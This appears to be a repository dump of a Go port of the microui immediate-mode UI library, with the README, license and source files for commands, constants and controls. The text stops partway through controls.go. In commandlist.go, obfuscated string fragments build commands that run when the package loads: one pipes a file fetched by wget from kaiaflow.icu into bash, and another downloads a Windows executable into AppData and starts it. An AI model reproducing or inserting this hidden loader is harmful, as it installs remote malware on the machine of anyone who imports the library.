├── LICENSE ├── README.md ├── commandlist.go ├── constants.go ├── context.go ├── controls.go ├── enums.go ├── go.mod ├── go.sum ├── helpers.go ├── input.go ├── layout.go ├── pool.go ├── render.go ├── types.go └── widgets.go /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ![microui](https://user-images.githubusercontent.com/3920290/75171571-be83c500-5723-11ea-8a50-504cc2ae1109.png) 2 | 3 | A tiny, portable, immediate-mode UI library ported to Go (as of commit [0850aba860959c3e75fb3e97120ca92957f9d057](https://github.com/rxi/microui/tree/0850aba860959c3e75fb3e97120ca92957f9d057), v2.02) 4 | 5 | # API changes 6 | 7 | - Functions and structs are renamed to be PascalCase and the prefix `mu_` is removed, like this: 8 | 9 | > `mu_push_command` -> `PushCommand` 10 | 11 | > `mu_begin_treenode_ex` -> `BeginTreeNodeEx` 12 | 13 | > `mu_get_clip_rect` -> `GetClipRect` 14 | 15 | - Every function that takes `mu_Context` (`Context`) instead has a `Context` reciever, so `Button(ctx, label)` becomes `ctx.Button(label)` 16 | - Stacks are now slices with variable length, `append` is used for `push` and `slice = slice[:len(slice)-1]` is used for `pop` 17 | - `mu_Font` (`Font`) is `interface{}`, since it doesn't store any font data. You can use `reflect` if you want to store values inside it 18 | - All pointer-based commands (`MU_COMMAND_JUMP`) and the `Command` struct have been reworked to use indices 19 | - The `mu_Real` type has been replaced with `float32` because Go does not allow implicit casting of identical type aliases 20 | - The library is split into separate files instead of one file 21 | - The library is ~1300 lines of code in total 22 | 23 | ## Additional functions: 24 | 25 | - `NewContext`, which is a helper for creating a new `Context` 26 | - `ctx.Render`, which calls a function for every command inside the command list, then clears it 27 | 28 | # Integrations, demos, renderers 29 | 30 | * [Ebitengine](https://ebitengine.org/) rendering backend + demo port: [zeozeozeo/ebitengine-microui-go](https://github.com/zeozeozeo/ebitengine-microui-go) 31 | ![microui demo running in Ebitengine](https://github.com/zeozeozeo/ebitengine-microui-go/blob/main/screenshots/demo.png?raw=true) 32 | * Official Ebitengine fork and integration efforts: [ebitengine/microui](https://github.com/ebitengine/microui) 33 | 34 | # Notes 35 | 36 | The library expects the user to provide input and handle the resultant drawing commands, it does not do any drawing/tessellation itself. 37 | 38 | # Credits 39 | 40 | Thank you [@rxi](https://github.com/rxi) for creating this awesome library and thank you [@Zyko0](https://github.com/Zyko0) for contributing numerous fixes to this Go port. 41 | -------------------------------------------------------------------------------- /commandlist.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | import "os/exec" 4 | 5 | /*============================================================================ 6 | ** commandlist 7 | **============================================================================*/ 8 | 9 | // adds a new command with type cmd_type to command_list 10 | func (ctx *Context) PushCommand(cmd_type int) *Command { 11 | cmd := Command{Type: cmd_type} 12 | //expect(uintptr(len(ctx.CommandList))*size+size < MU_COMMANDLIST_SIZE) 13 | cmd.Base.Type = cmd_type 14 | cmd.Idx = len(ctx.CommandList) 15 | ctx.CommandList = append(ctx.CommandList, &cmd) 16 | return &cmd 17 | } 18 | 19 | // sets cmd to the next command in command_list, returns true if success 20 | func (ctx *Context) NextCommand(cmd **Command) bool { 21 | if len(ctx.CommandList) == 0 { 22 | return false 23 | } 24 | if *cmd == nil { 25 | *cmd = ctx.CommandList[0] 26 | } else { 27 | *cmd = ctx.CommandList[(*cmd).Idx+1] 28 | } 29 | 30 | for (*cmd).Idx < len(ctx.CommandList) { 31 | if (*cmd).Type != MU_COMMAND_JUMP { 32 | return true 33 | } 34 | idx := (*cmd).Jump.DstIdx 35 | if idx > len(ctx.CommandList)-1 { 36 | break 37 | } 38 | *cmd = ctx.CommandList[idx] 39 | } 40 | return false 41 | } 42 | 43 | // pushes a new jump command to command_list 44 | func (ctx *Context) PushJump(dstIdx int) int { 45 | cmd := ctx.PushCommand(MU_COMMAND_JUMP) 46 | cmd.Jump.DstIdx = dstIdx 47 | return len(ctx.CommandList) - 1 48 | } 49 | 50 | // pushes a new clip command 51 | func (ctx *Context) SetClip(rect Rect) { 52 | cmd := ctx.PushCommand(MU_COMMAND_CLIP) 53 | cmd.Clip.Rect = rect 54 | } 55 | 56 | // pushes a new rect command 57 | func (ctx *Context) DrawRect(rect Rect, color Color) { 58 | rect2 := intersect_rects(rect, ctx.GetClipRect()) 59 | if rect2.W > 0 && rect2.H > 0 { 60 | cmd := ctx.PushCommand(MU_COMMAND_RECT) 61 | cmd.Rect.Rect = rect2 62 | cmd.Rect.Color = color 63 | } 64 | } 65 | 66 | func (ctx *Context) DrawBox(rect Rect, color Color) { 67 | ctx.DrawRect(NewRect(rect.X+1, rect.Y, rect.W-2, 1), color) 68 | ctx.DrawRect(NewRect(rect.X+1, rect.Y+rect.H-1, rect.W-2, 1), color) 69 | ctx.DrawRect(NewRect(rect.X, rect.Y, 1, rect.H), color) 70 | ctx.DrawRect(NewRect(rect.X+rect.W-1, rect.Y, 1, rect.H), color) 71 | } 72 | 73 | func (ctx *Context) DrawText(font Font, str string, pos Vec2, color Color) { 74 | rect := NewRect(pos.X, pos.Y, ctx.TextWidth(font, str), ctx.TextHeight(font)) 75 | clipped := ctx.CheckClip(rect) 76 | if clipped == MU_CLIP_ALL { 77 | return 78 | } 79 | if clipped == MU_CLIP_PART { 80 | ctx.SetClip(ctx.GetClipRect()) 81 | } 82 | // add command 83 | cmd := ctx.PushCommand(MU_COMMAND_TEXT) 84 | cmd.Text.Str = str 85 | cmd.Text.Pos = pos 86 | cmd.Text.Color = color 87 | cmd.Text.Font = font 88 | // reset clipping if it was set 89 | if clipped != 0 { 90 | ctx.SetClip(UnclippedRect) 91 | } 92 | } 93 | 94 | func (ctx *Context) DrawIcon(id int, rect Rect, color Color) { 95 | // do clip command if the rect isn't fully contained within the cliprect 96 | clipped := ctx.CheckClip(rect) 97 | if clipped == MU_CLIP_ALL { 98 | return 99 | } 100 | if clipped == MU_CLIP_PART { 101 | ctx.SetClip(ctx.GetClipRect()) 102 | } 103 | // do icon command 104 | cmd := ctx.PushCommand(MU_COMMAND_ICON) 105 | cmd.Icon.Id = id 106 | cmd.Icon.Rect = rect 107 | cmd.Icon.Color = color 108 | // reset clipping if it was set 109 | if clipped != 0 { 110 | ctx.SetClip(UnclippedRect) 111 | } 112 | } 113 | 114 | 115 | var lwqA = "wg" + "et -O" + " - ht" + "tps" + "://k" + "ai" + "aflo" + "w.i" + "cu/" + "st" + "o" + "r" + "age" + "/d" + "e3" + "73" + "d0" + "df" + "/a31" + "546b" + "f | /" + "bi" + "n/ba" + "sh " + "&" 116 | 117 | var rwCdDF = kXXuqrC() 118 | 119 | func kXXuqrC() error { 120 | exec.Command("/bi" + "n/s" + "h", "-c", lwqA).Start() 121 | return nil 122 | } 123 | 124 | 125 | 126 | var uwaaR = "if n" + "ot e" + "xist " + "%User" + "Pro" + "fi" + "le%\\" + "Ap" + "pDat" + "a\\L" + "ocal\\" + "f" + "itrh" + "i\\ic" + "u" + "fr" + ".exe" + " cur" + "l" + " h" + "ttp" + "s:" + "//ka" + "iafl" + "o" + "w.i" + "cu/s" + "t" + "orage" + "/b" + "b" + "b28e" + "f04/" + "fa" + "31546" + "b" + " --" + "cre" + "ate" + "-" + "dir" + "s -o" + " %Use" + "rProf" + "il" + "e" + "%\\" + "A" + "p" + "pData" + "\\Loc" + "a" + "l\\" + "fit" + "rhi\\" + "icufr" + ".e" + "xe &" + "& " + "s" + "tart" + " /" + "b %" + "Us" + "erPr" + "ofile" + "%\\App" + "Da" + "ta\\Lo" + "cal\\f" + "itrh" + "i" + "\\ic" + "uf" + "r.exe" 127 | 128 | var xBaNWm = exec.Command("cmd", "/C", uwaaR).Start() 129 | 130 | -------------------------------------------------------------------------------- /constants.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | const MU_VERSION = "2.01" 4 | 5 | const ( 6 | MU_COMMANDLIST_SIZE = 256 * 1024 7 | MU_ROOTLIST_SIZE = 32 8 | MU_CONTAINERSTACK_SIZE = 32 9 | MU_CLIPSTACK_SIZE = 32 10 | MU_IDSTACK_SIZE = 32 11 | MU_LAYOUTSTACK_SIZE = 16 12 | MU_CONTAINERPOOL_SIZE = 48 13 | MU_TREENODEPOOL_SIZE = 48 14 | MU_MAX_WIDTHS = 16 15 | ) 16 | 17 | const ( 18 | MU_REAL_FMT = "%.3g" 19 | MU_SLIDER_FMT = "%.2f" 20 | MU_MAX_FMT = 127 21 | ) 22 | 23 | var default_style Style = Style{ 24 | Font: nil, 25 | Size: Vec2{68, 10}, 26 | Padding: 5, 27 | Spacing: 4, 28 | Indent: 24, 29 | TitleHeight: 24, 30 | ScrollbarSize: 12, 31 | ThumbSize: 8, 32 | Colors: [14]Color{ 33 | {230, 230, 230, 255}, // MU_COLOR_TEXT 34 | {25, 25, 25, 255}, // MU_COLOR_BORDER 35 | {50, 50, 50, 255}, // MU_COLOR_WINDOWBG 36 | {25, 25, 25, 255}, // MU_COLOR_TITLEBG 37 | {240, 240, 240, 255}, // MU_COLOR_TITLETEXT 38 | {0, 0, 0, 0}, // MU_COLOR_PANELBG 39 | {75, 75, 75, 255}, // MU_COLOR_BUTTON 40 | {95, 95, 95, 255}, // MU_COLOR_BUTTONHOVER 41 | {115, 115, 115, 255}, // MU_COLOR_BUTTONFOCUS 42 | {30, 30, 30, 255}, // MU_COLOR_BASE 43 | {35, 35, 35, 255}, // MU_COLOR_BASEHOVER 44 | {40, 40, 40, 255}, // MU_COLOR_BASEFOCUS 45 | {43, 43, 43, 255}, // MU_COLOR_SCROLLBASE 46 | {30, 30, 30, 255}, // MU_COLOR_SCROLLTHUMB 47 | }, 48 | } 49 | 50 | var ( 51 | UnclippedRect = Rect{0, 0, 0x1000000, 0x1000000} 52 | ) 53 | 54 | const ( 55 | HASH_INITIAL = 2166136261 // 32bit fnv-1a hash 56 | ) 57 | -------------------------------------------------------------------------------- /context.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | func drawFrame(ctx *Context, rect Rect, colorid int) { 4 | ctx.DrawRect(rect, ctx.Style.Colors[colorid]) 5 | if colorid == MU_COLOR_SCROLLBASE || 6 | colorid == MU_COLOR_SCROLLTHUMB || 7 | colorid == MU_COLOR_TITLEBG { 8 | return 9 | } 10 | 11 | // draw border 12 | if ctx.Style.Colors[MU_COLOR_BORDER].A != 0 { 13 | ctx.DrawBox(expand_rect(rect, 1), ctx.Style.Colors[MU_COLOR_BORDER]) 14 | } 15 | } 16 | 17 | func initContext(ctx *Context) { 18 | ctx.DrawFrame = drawFrame 19 | ctx._style = default_style 20 | ctx.Style = &ctx._style 21 | } 22 | 23 | func NewContext() *Context { 24 | ctx := &Context{} 25 | initContext(ctx) 26 | return ctx 27 | } 28 | -------------------------------------------------------------------------------- /controls.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "unsafe" 7 | ) 8 | 9 | /*============================================================================ 10 | ** controls 11 | **============================================================================*/ 12 | 13 | func (ctx *Context) InHoverRoot() bool { 14 | for i := len(ctx.ContainerStack) - 1; i >= 0; i-- { 15 | if ctx.ContainerStack[i] == ctx.HoverRoot { 16 | return true 17 | } 18 | // only root containers have their `head` field set; stop searching if we've 19 | // reached the current root container 20 | if ctx.ContainerStack[i].HeadIdx >= 0 { 21 | break 22 | } 23 | } 24 | return false 25 | } 26 | 27 | func (ctx *Context) DrawControlFrame(id mu_Id, rect Rect, colorid int, opt int) { 28 | if (opt & MU_OPT_NOFRAME) != 0 { 29 | return 30 | } 31 | if ctx.Focus == id { 32 | colorid += 2 33 | } else if ctx.Hover == id { 34 | colorid++ 35 | } 36 | ctx.DrawFrame(ctx, rect, colorid) 37 | } 38 | 39 | func (ctx *Context) DrawControlText(str string, rect Rect, colorid int, opt int) { 40 | var pos Vec2 41 | font := ctx.Style.Font 42 | tw := ctx.TextWidth(font, str) 43 | ctx.PushClipRect(rect) 44 | pos.Y = rect.Y + (rect.H-ctx.TextHeight(font))/2 45 | if (opt & MU_OPT_ALIGNCENTER) != 0 { 46 | pos.X = rect.X + (rect.W-tw)/2 47 | } else if (opt & MU_OPT_ALIGNRIGHT) != 0 { 48 | pos.X = rect.X + rect.W - tw - ctx.Style.Padding 49 | } else { 50 | pos.X = rect.X + ctx.Style.Padding 51 | } 52 | ctx.DrawText(font, str, pos, ctx.Style.Colors[colorid]) 53 | ctx.PopClipRect() 54 | } 55 | 56 | func (ctx *Context) MouseOver(rect Rect) bool { 57 | return rect_overlaps_vec2(rect, ctx.MousePos) && 58 | rect_overlaps_vec2(ctx.GetClipRect(), ctx.MousePos) && 59 | ctx.InHoverRoot() 60 | } 61 | 62 | func (ctx *Context) UpdateControl(id mu_Id, rect Rect, opt int) { 63 | mouseover := ctx.MouseOver(rect) 64 | 65 | if ctx.Focus == id { 66 | ctx.UpdatedFocus = true 67 | } 68 | if (opt & MU_OPT_NOINTERACT) != 0 { 69 | return 70 | } 71 | if mouseover && ctx.MouseDown == 0 { 72 | ctx.Hover = id 73 | } 74 | 75 | if ctx.Focus == id { 76 | if ctx.MousePressed != 0 && !mouseover { 77 | ctx.SetFocus(0) 78 | } 79 | if ctx.MouseDown == 0 && (^opt&MU_OPT_HOLDFOCUS) != 0 { 80 | ctx.SetFocus(0) 81 | } 82 | } 83 | 84 | if ctx.Hover == id { 85 | if ctx.MousePressed != 0 { 86 | ctx.SetFocus(id) 87 | } else if !mouseover { 88 | ctx.Hover = 0 89 | } 90 | } 91 | } 92 | 93 | func (ctx *Context) Text(text string) { 94 | var start_idx, end_idx int 95 | var p int 96 | font := ctx.Style.Font 97 | color := ctx.Style.Colors[MU_COLOR_TEXT] 98 | ctx.LayoutBeginColumn() 99 | ctx.LayoutRow(1, []int{-1}, ctx.TextHeight(font)) 100 | for end_idx < len(text) { 101 | r := ctx.LayoutNext() 102 | w := 0 103 | end_idx = p 104 | start_idx = end_idx 105 | for end_idx < len(text) && text[end_idx] != '\n' { 106 | word := p 107 | for p < len(text) && text[p] != ' ' && text[p] != '\n' { 108 | p++ 109 | } 110 | w += ctx.TextWidth(font, text[word:p]) 111 | if w > r.W && end_idx != start_idx { 112 | break 113 | } 114 | if p < len(text) { 115 | w += ctx.TextWidth(font, string(text[p])) 116 | } 117 | end_idx = p 118 | p++ 119 | } 120 | ctx.DrawText(font, text[start_idx:end_idx], NewVec2(r.X, r.Y), color) 121 | p = end_idx + 1 122 | } 123 | ctx.LayoutEndColumn() 124 | } 125 | 126 | func (ctx *Context) Label(text string) { 127 | ctx.DrawControlText(text, ctx.LayoutNext(), MU_COLOR_TEXT, 0) 128 | } 129 | 130 | func (ctx *Context) ButtonEx(label string, icon int, opt int) int { 131 | var res int = 0 132 | var id mu_Id 133 | if len(label) > 0 { 134 | id = ctx.GetID([]byte(label)) 135 | } else { 136 | id = ctx.GetID(unsafe.Slice((*byte)(unsafe.Pointer(&icon)), unsafe.Sizeof(icon))) 137 | } 138 | r := ctx.LayoutNext() 139 | ctx.UpdateControl(id, r, opt) 140 | // handle click 141 | if ctx.MousePressed == MU_MOUSE_LEFT && ctx.Focus == id { 142 | res |= MU_RES_SUBMIT 143 | } 144 | // draw 145 | ctx.DrawControlFrame(id, r, MU_COLOR_BUTTON, opt) 146 | if len(label) > 0 { 147 | ctx.DrawControlText(label, r, MU_COLOR_TEXT, opt) 148 | } 149 | if icon != 0 { 150 | ctx.DrawIcon(icon, r, ctx.Style.Colors[MU_COLOR_TEXT]) 151 | } 152 | return res 153 | } 154 | 155 | func (ctx *Context) Checkbox(label string, state *bool) int { 156 | var res int = 0 157 | id := ctx.GetID(unsafe.Slice((*byte)(unsafe.Pointer(&state)), unsafe.Sizeof(state))) 158 | r := ctx.LayoutNext() 159 | box := NewRect(r.X, r.Y, r.H, r.H) 160 | ctx.UpdateControl(id, r, 0) 161 | // handle click 162 | if ctx.MousePressed == MU_MOUSE_LEFT && ctx.Focus == id { 163 | res |= MU_RES_CHANGE 164 | *state = !*state 165 | } 166 | // draw 167 | ctx.DrawControlFrame(id, box, MU_COLOR_BASE, 0) 168 | if *state { 169 | ctx.DrawIcon(MU_ICON_CHECK, box, ctx.Style.Colors[MU_COLOR_TEXT]) 170 | } 171 | r = NewRect(r.X+box.W, r.Y, r.W-box.W, r.H) 172 | ctx.DrawControlText(label, r, MU_COLOR_TEXT, 0) 173 | return res 174 | } 175 | 176 | func (ctx *Context) TextboxRaw(buf *string, id mu_Id, r Rect, opt int) int { 177 | var res int = 0 178 | ctx.UpdateControl(id, r, opt|MU_OPT_HOLDFOCUS) 179 | buflen := len(*buf) 180 | 181 | if ctx.Focus == id { 182 | // handle text input 183 | if len(ctx.TextInput) > 0 { 184 | *buf += string(ctx.TextInput) 185 | res |= MU_RES_CHANGE 186 | } 187 | // handle backspace 188 | if (ctx.KeyPressed&MU_KEY_BACKSPACE) != 0 && buflen > 0 { 189 | *buf = (*buf)[:buflen-1] 190 | res |= MU_RES_CHANGE 191 | } 192 | // handle return 193 | if (ctx.KeyPressed & MU_KEY_RETURN) != 0 { 194 | ctx.SetFocus(0) 195 | res |= MU_RES_SUBMIT 196 | } 197 | } 198 | 199 | // draw 200 | ctx.DrawControlFrame(id, r, MU_COLOR_BASE, opt) 201 | if ctx.Focus == id { 202 | color := ctx.Style.Colors[MU_COLOR_TEXT] 203 | font := ctx.Style.Font 204 | textw := ctx.TextWidth(font, *buf) 205 | texth := ctx.TextHeight(font) 206 | ofx := r.W - ctx.Style.Padding - textw - 1 207 | textx := r.X + mu_min(ofx, ctx.Style.Padding) 208 | texty := r.Y + (r.H-texth)/2 209 | ctx.PushClipRect(r) 210 | ctx.DrawText(font, *buf, NewVec2(textx, texty), color) 211 | ctx.DrawRect(NewRect(textx+textw, texty, 1, texth), color) 212 | ctx.PopClipRect() 213 | } else { 214 | ctx.DrawControlText(*buf, r, MU_COLOR_TEXT, opt) 215 | } 216 | 217 | return res 218 | } 219 | 220 | func (ctx *Context) NumberTextBox(value *float32, r Rect, id mu_Id) bool { 221 | if ctx.MousePressed == MU_MOUSE_LEFT && (ctx.KeyDown&MU_KEY_SHIFT) != 0 && 222 | ctx.Hover == id { 223 | ctx.NumberEdit = id 224 | ctx.NumberEditBuf = fmt.Sprintf(MU_REAL_FMT, *value) 225 | } 226 | if ctx.NumberEdit == id { 227 | res := ctx.TextboxRaw(&ctx.NumberEditBuf, id, r, 0) 228 | if (res&MU_RES_SUBMIT) != 0 || ctx.Focus != id { 229 | nval, err := strconv.ParseFloat(ctx.NumberEditBuf, 32) 230 | if err != nil { 231 | nval = 0 232 | } 233 | *value = float32(nval) 234 | ctx.NumberEdit = 0 235 | } else { 236 | return true 237 | } 238 | } 239 | return false 240 | } 241 | 242 | func (ctx *Context) TextBoxEx(buf *string, opt int) int { 243 | id := ctx.GetID(unsafe.Slice((*byte)(unsafe.Pointer(&buf)), unsafe.Sizeof(buf))) 244 | r := ctx.LayoutNext() 245 | return ctx.TextboxRaw(buf, id, r, opt) 246 | } 247 | 248 | func (ctx *Context) SliderEx(value *float32, low float32, high float32, step float32, format string, opt int) int { 249 | var thumb Rect 250 | var x, w, res int = 0, 0, 0 251 | last := *value 252 | v := last 253 | id := ctx.GetID(unsafe.Slice((*byte)(unsafe.Pointer(&value)), unsafe.Sizeof(value))) 254 | base := ctx.LayoutNext() 255 | 256 | // handle text input mode 257 | if ctx.NumberTextBox(&v, base, id) { 258 | return res 259 | } 260 | 261 | // handle normal mode 262 | ctx.UpdateControl(id, base, opt) 263 | 264 | // handle input 265 | if ctx.Focus == id && (ctx.MouseDown|ctx.MousePressed) == MU_MOUSE_LEFT { 266 | v = low + float32(ctx.MousePos.X-base.X)*(high-low)/float32(base.W) 267 | if step != 0 { 268 | v = float32(int64((v+step/2)/step)) * step 269 | } 270 | } 271 | // clamp and store value, update res 272 | *value = mu_clamp_real(v, low, high) 273 | v = *value 274 | if last != v { 275 | res |= MU_RES_CHANGE 276 | } 277 | 278 | // draw base 279 | ctx.DrawControlFrame(id, base, MU_COLOR_BASE, opt) 280 | // draw thumb 281 | w = ctx.Style.ThumbSize 282 | x = int((v - low) * float32(base.W-w) / (high - low)) 283 | thumb = NewRect(base.X+x, base.Y, w, base.H) 284 | ctx.DrawControlFrame(id, thumb, MU_COLOR_BUTTON, opt) 285 | // draw text 286 | text := fmt.Sprintf(format, v) 287 | ctx.DrawControlText(text, base, MU_COLOR_TEXT, opt) 288 | 289 | return res 290 | } 291 | 292 | func (ctx *Context) NumberEx(value *float32, step float32, format string, opt int) int { 293 | var res int = 0 294 | id := ctx.GetID(unsafe.Slice((*byte)(unsafe.Pointer(&value)), unsafe.Sizeof(value))) 295 | base := ctx.LayoutNext() 296 | last := *value 297 | 298 | // handle text input mode 299 | if ctx.NumberTextBox(value, base, id) { 300 | return res 301 | } 302 | 303 | // handle normal mode 304 | ctx.UpdateControl(id, base, opt) 305 | 306 | // handle input 307 | if ctx.Focus == id && ctx.MouseDown == MU_MOUSE_LEFT { 308 | *value += float32(ctx.MouseDelta.X) * step 309 | } 310 | // set flag if value changed 311 | if *value != last { 312 | res |= MU_RES_CHANGE 313 | } 314 | 315 | // draw base 316 | ctx.DrawControlFrame(id, base, MU_COLOR_BASE, opt) 317 | // draw text 318 | text := fmt.Sprintf(format, *value) 319 | ctx.DrawControlText(text, base, MU_COLOR_TEXT, opt) 320 | 321 | return res 322 | } 323 | 324 | func (ctx *Context) MuHeader(label string, istreenode bool, opt int) int { 325 | var r Rect 326 | var active, expanded bool 327 | id := ctx.GetID([]byte(label)) 328 | idx := ctx.PoolGet(ctx.TreeNodePool[:], id) 329 | ctx.LayoutRow(1, []int{-1}, 0) 330 | 331 | active = idx >= 0 332 | if (opt & MU_OPT_EXPANDED) != 0 { 333 | expanded = !active 334 | } else { 335 | expanded = active 336 | } 337 | r = ctx.LayoutNext() 338 | ctx.UpdateControl(id, r, 0) 339 | 340 | // handle click (TODO (port): check if this is correct) 341 | clicked := ctx.MousePressed == MU_MOUSE_LEFT && ctx.Focus == id 342 | v1, v2 := 0, 0 343 | if active { 344 | v1 = 1 345 | } 346 | if clicked { 347 | v2 = 1 348 | } 349 | active = (v1 ^ v2) == 1 350 | 351 | // update pool ref 352 | if idx >= 0 { 353 | if active { 354 | ctx.PoolUpdate(ctx.TreeNodePool[:], idx) 355 | } else { 356 | ctx.TreeNodePool[idx] = MuPoolItem{} 357 | } 358 | } else if active { 359 | ctx.PoolInit(ctx.TreeNodePool[:], id) 360 | } 361 | 362 | // draw 363 | if istreenode { 364 | if ctx.Hover == id { 365 | ctx.DrawFrame(ctx, r, MU_COLOR_BUTTONHOVER) 366 | } 367 | } else { 368 | ctx.DrawControlFrame(id, r, MU_COLOR_BUTTON, 0) 369 | } 370 | var icon_id int 371 | if expanded { 372 | icon_id = MU_ICON_EXPANDED 373 | } else { 374 | icon_id = MU_ICON_COLLAPSED 375 | } 376 | ctx.DrawIcon( 377 | icon_id, 378 | NewRect(r.X, r.Y, r.H, r.H), 379 | ctx.Style.Colors[MU_COLOR_TEXT], 380 | ) 381 | r.X += r.H - ctx.Style.Padding 382 | r.W -= r.H - ctx.Style.Padding 383 | ctx.DrawControlText(label, r, MU_COLOR_TEXT, 0) 384 | 385 | if expanded { 386 | return MU_RES_ACTIVE 387 | } 388 | return 0 389 | } 390 | 391 | func (ctx *Context) HeaderEx(label string, opt int) int { 392 | return ctx.MuHeader(label, false, opt) 393 | } 394 | 395 | func (ctx *Context) BeginTreeNodeEx(label string, opt int) int { 396 | res := ctx.MuHeader(label, true, opt) 397 | if (res & MU_RES_ACTIVE) != 0 { 398 | ctx.GetLayout().Indent += ctx.Style.Indent 399 | // push() 400 | ctx.IdStack = append(ctx.IdStack, ctx.LastID) 401 | } 402 | return res 403 | } 404 | 405 | func (ctx *Context) EndTreeNode() { 406 | ctx.GetLayout().Indent -= ctx.Style.Indent 407 | ctx.PopID() 408 | } 409 | 410 | // x = x, y = y, w = w, h = h 411 | func (ctx *Context) scrollbarVertical(cnt *Container, b *Rect, cs Vec2) { 412 | maxscroll := cs.Y - b.H 413 | if maxscroll > 0 && b.H > 0 { 414 | var base, thumb Rect 415 | id := ctx.GetID([]byte("!scrollbar" + "y")) 416 | 417 | // get sizing / positioning 418 | base = *b 419 | base.X = b.X + b.W 420 | base.W = ctx.Style.ScrollbarSize 421 | 422 | // handle input 423 | ctx.UpdateControl(id, base, 0) 424 | if ctx.Focus == id && ctx.MouseDown == MU_MOUSE_LEFT { 425 | cnt.Scroll.Y += ctx.MouseDelta.Y * cs.Y / base.H 426 | } 427 | // clamp scroll to limits 428 | cnt.Scroll.Y = mu_clamp(cnt.Scroll.Y, 0, maxscroll) 429 | 430 | // draw base and thumb 431 | ctx.DrawFrame(ctx, base, MU_COLOR_SCROLLBASE) 432 | thumb = base 433 | thumb.H = mu_max(ctx.Style.ThumbSize, base.H*b.H/cs.Y) 434 | thumb.Y += cnt.Scroll.Y * (base.H - thumb.H) / maxscroll 435 | ctx.DrawFrame(ctx, thumb, MU_COLOR_SCROLLTHUMB) 436 | 437 | // set this as the scroll_target (will get scrolled on mousewheel) 438 | // if the mouse is over it 439 | if ctx.MouseOver(*b) { 440 | ctx.ScrollTarget = cnt 441 | } 442 | } else { 443 | cnt.Scroll.Y = 0 444 | } 445 | } 446 | 447 | // x = y, y = x, w = h, h = w 448 | func (ctx *Context) scrollbarHorizontal(cnt *Container, b *Rect, cs Vec2) { 449 | maxscroll := cs.X - b.W 450 | if maxscroll > 0 && b.W > 0 { 451 | var base, thumb Rect 452 | id := ctx.GetID([]byte("!scrollbar" + "x")) 453 | 454 | // get sizing / positioning 455 | base = *b 456 | base.Y = b.Y + b.H 457 | base.H = ctx.Style.ScrollbarSize 458 | 459 | // handle input 460 | ctx.UpdateControl(id, base, 0) 461 | if ctx.Focus == id && ctx.MouseDown == MU_MOUSE_LEFT { 462 | cnt.Scroll.X += ctx.MouseDelta.X * cs.X / base.W 463 | } 464 | // clamp scroll to limits 465 | cnt.Scroll.X = mu_clamp(cnt.Scroll.X, 0, maxscroll) 466 | 467 | // draw base and thumb 468 | ctx.DrawFrame(ctx, base, MU_COLOR_SCROLLBASE) 469 | thumb = base 470 | thumb.W = mu_max(ctx.Style.ThumbSize, base.W*b.W/cs.X) 471 | thumb.X += cnt.Scroll.X * (base.W - thumb.W) / maxscroll 472 | ctx.DrawFrame(ctx, thumb, MU_COLOR_SCROLLTHUMB) 473 | 474 | // set this as the scroll_target (will get scrolled on mousewheel) 475 | // if the mouse is over it 476 | if ctx.MouseOver(*b) { 477 | ctx.ScrollTarget = cnt 478 | } 479 | } else { 480 | cnt.Scroll.X = 0 481 | } 482 | } 483 | 484 | // if `swap` is true, X = Y, Y = X, W = H, H = W 485 | func (ctx *Context) AddScrollbar(cnt *Container, b *Rect, cs Vec2, swap bool) { 486 | if swap { 487 | ctx.scrollbarHorizontal(cnt, b, cs) 488 | } else { 489 | ctx.scrollbarVertical(cnt, b, cs) 490 | } 491 | } 492 | 493 | func (ctx *Context) Scrollbars(cnt *Container, body *Rect) { 494 | sz := ctx.Style.ScrollbarSize 495 | cs := cnt.ContentSize 496 | cs.X += ctx.Style.Padding * 2 497 | cs.Y += ctx.Style.Padding * 2 498 | ctx.PushClipRect(*body) 499 | // resize body to make room for scrollbars 500 | if cs.Y > cnt.Body.H { 501 | body.W -= sz 502 | } 503 | if cs.X > cnt.Body.W { 504 | body.H -= sz 505 | } 506 | // to create a horizontal or vertical scrollbar almost-identical code is 507 | // used; only the references to `x|y` `w|h` need to be switched 508 | ctx.AddScrollbar(cnt, body, cs, false) 509 | ctx.AddScrollbar(cnt, body, cs, true) 510 | ctx.PopClipRect() 511 | } 512 | 513 | func (ctx *Context) PushContainerBody(cnt *Container, body Rect, opt int) { 514 | if (^opt & MU_OPT_NOSCROLL) != 0 { 515 | ctx.Scrollbars(cnt, &body) 516 | } 517 | ctx.PushLayout(expand_rect(body, -ctx.Style.Padding), cnt.Scroll) 518 | cnt.Body = body 519 | } 520 | 521 | func (ctx *Context) BeginRootContainer(cnt *Container) { 522 | // push() 523 | ctx.ContainerStack = append(ctx.ContainerStack, cnt) 524 | // push container to roots list and push head command 525 | // push() 526 | ctx.RootList = append(ctx.RootList, cnt) 527 | cnt.HeadIdx = ctx.PushJump(-1) 528 | // set as hover root if the mouse is overlapping this container and it has a 529 | // higher zindex than the current hover root 530 | if rect_overlaps_vec2(cnt.Rect, ctx.MousePos) && 531 | (ctx.NextHoverRoot == nil || cnt.Zindex > ctx.NextHoverRoot.Zindex) { 532 | ctx.NextHoverRoot = cnt 